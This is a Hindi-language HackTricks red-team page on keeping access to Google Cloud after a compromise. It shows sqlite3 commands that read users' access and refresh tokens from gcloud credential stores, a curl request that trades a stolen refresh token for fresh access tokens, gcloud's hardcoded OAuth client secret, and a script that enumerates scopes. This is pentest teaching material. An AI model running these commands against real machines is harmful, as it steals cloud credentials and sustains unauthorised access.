GCP - Non-svc Persistance

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

ये उपयोगी तकनीकें हैं, जब आपने किसी GCP क्रेडेंशियल या GCP वातावरण में चल रही किसी मशीन को किसी प्रकार से कंप्रोमाइज कर लिया है।

टोकन हाइजैकिंग

प्रमाणीकृत उपयोगकर्ता टोकन

एक उपयोगकर्ता के वर्तमान टोकन प्राप्त करने के लिए आप निम्नलिखित को चला सकते हैं:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

इस पेज में देखें कि gcloud का उपयोग करके इस टोकन का सीधा उपयोग कैसे करें:

नए एक्सेस टोकन उत्पन्न करने के लिए विवरण प्राप्त करने के लिए निम्नलिखित को चलाएं:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

यह भी संभव है कि $HOME/.config/gcloud/application_default_credentials.json और $HOME/.config/gcloud/legacy_credentials/*/adc.json में रिफ्रेश टोकन्स मिलें।

नए रिफ्रेश एक्सेस टोकन प्राप्त करने के लिए रिफ्रेश टोकन, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ निम्नलिखित को चलाएं:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

रिफ्रेश टोकन की वैधता को व्यवस्थापक > सुरक्षा > Google Cloud सत्र नियंत्रण में प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से यह 16 घंटे के लिए सेट किया गया है हालांकि यह कभी भी समाप्त नहीं होने के लिए सेट किया जा सकता है:

प्रमाणीकरण फ्लो

कुछ इस प्रकार का उपयोग करके प्रमाणीकरण फ्लो जब gcloud auth login का उपयोग किया जाता है तो ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी स्कोप्स को स्वीकार करने के बाद ब्राउज़र एक अनुरोध भेजेगा जैसे कि यह उपकरण द्वारा खुले http पोर्ट को:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

तो, gcloud स्थिति और कोड का उपयोग करेगा जिसमें कुछ hardcoded client_id (32555940559.apps.googleusercontent.com) और client_secret (ZmssLNjJy2998hD4CTg2ejr2) होगा ताकि अंतिम रिफ्रेश टोकन डेटा प्राप्त कर सके।

ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को अंतिम रिफ्रेश टोकन प्राप्त करने के लिए डाटा को अंतर्दृष्टि करना संभव है, हालांकि यह डेटा केवल 1 बार मान्य है, इसलिए यह बेकार होगा, रिफ्रेश टोकन को फ़ाइल से पढ़ना आसान है।

OAuth स्कोप

आप सभी Google स्कोप को https://developers.google.com/identity/protocols/oauth2/scopes में ढूंढ सकते हैं या इन्हें निष्पादित करके प्राप्त कर सकते हैं:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

इस स्क्रिप्ट के साथ देखना संभव है कि gcloud जो एप्लिकेशन उपयोग करता है वह कौन-कौन स्कोप समर्थित कर सकता है:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन scopes का समर्थन करता है:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

सेवा खाते

जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप किसी सेवा खाते की निजी कुंजी फ़ाइल को कंप्रमाइज़ कर लेते हैं तो आप उसे आम तौर पर जितनी चाहें तक एक्सेस कर सकेंगे। हालांकि, यदि आप किसी सेवा खाते के OAuth टोकन को चुरा लेते हैं तो यह और भी दिलचस्प हो सकता है, क्योंकि, यदि डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, तो भी, यदि पीड़ित व्यक्ति निजी एपीआई कुंजी को हटा देता है, तो OAuth टोकन अब तक मान्य रहेगा जब तक यह समाप्त नहीं हो जाता

मेटाडेटा

स्पष्ट है, जब तक आप GCP माहौल में चल रही किसी मशीन के अंदर हैं तब आप मेटाडेटा एंडपॉइंट से संपर्क करके उस मशीन से जुड़ी सेवा खाते तक पहुंच सकेंगे (ध्यान दें कि इस एंडपॉइंट में आप एक्सेस कर सकते हैं ओआथ टोकन जो सामान्यत: स्कोप्स द्वारा प्रतिबंधित होते हैं)।

सुधार

इन तकनीकों के लिए कुछ सुधार की व्याख्या https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 में की गई है।

संदर्भ

Last updated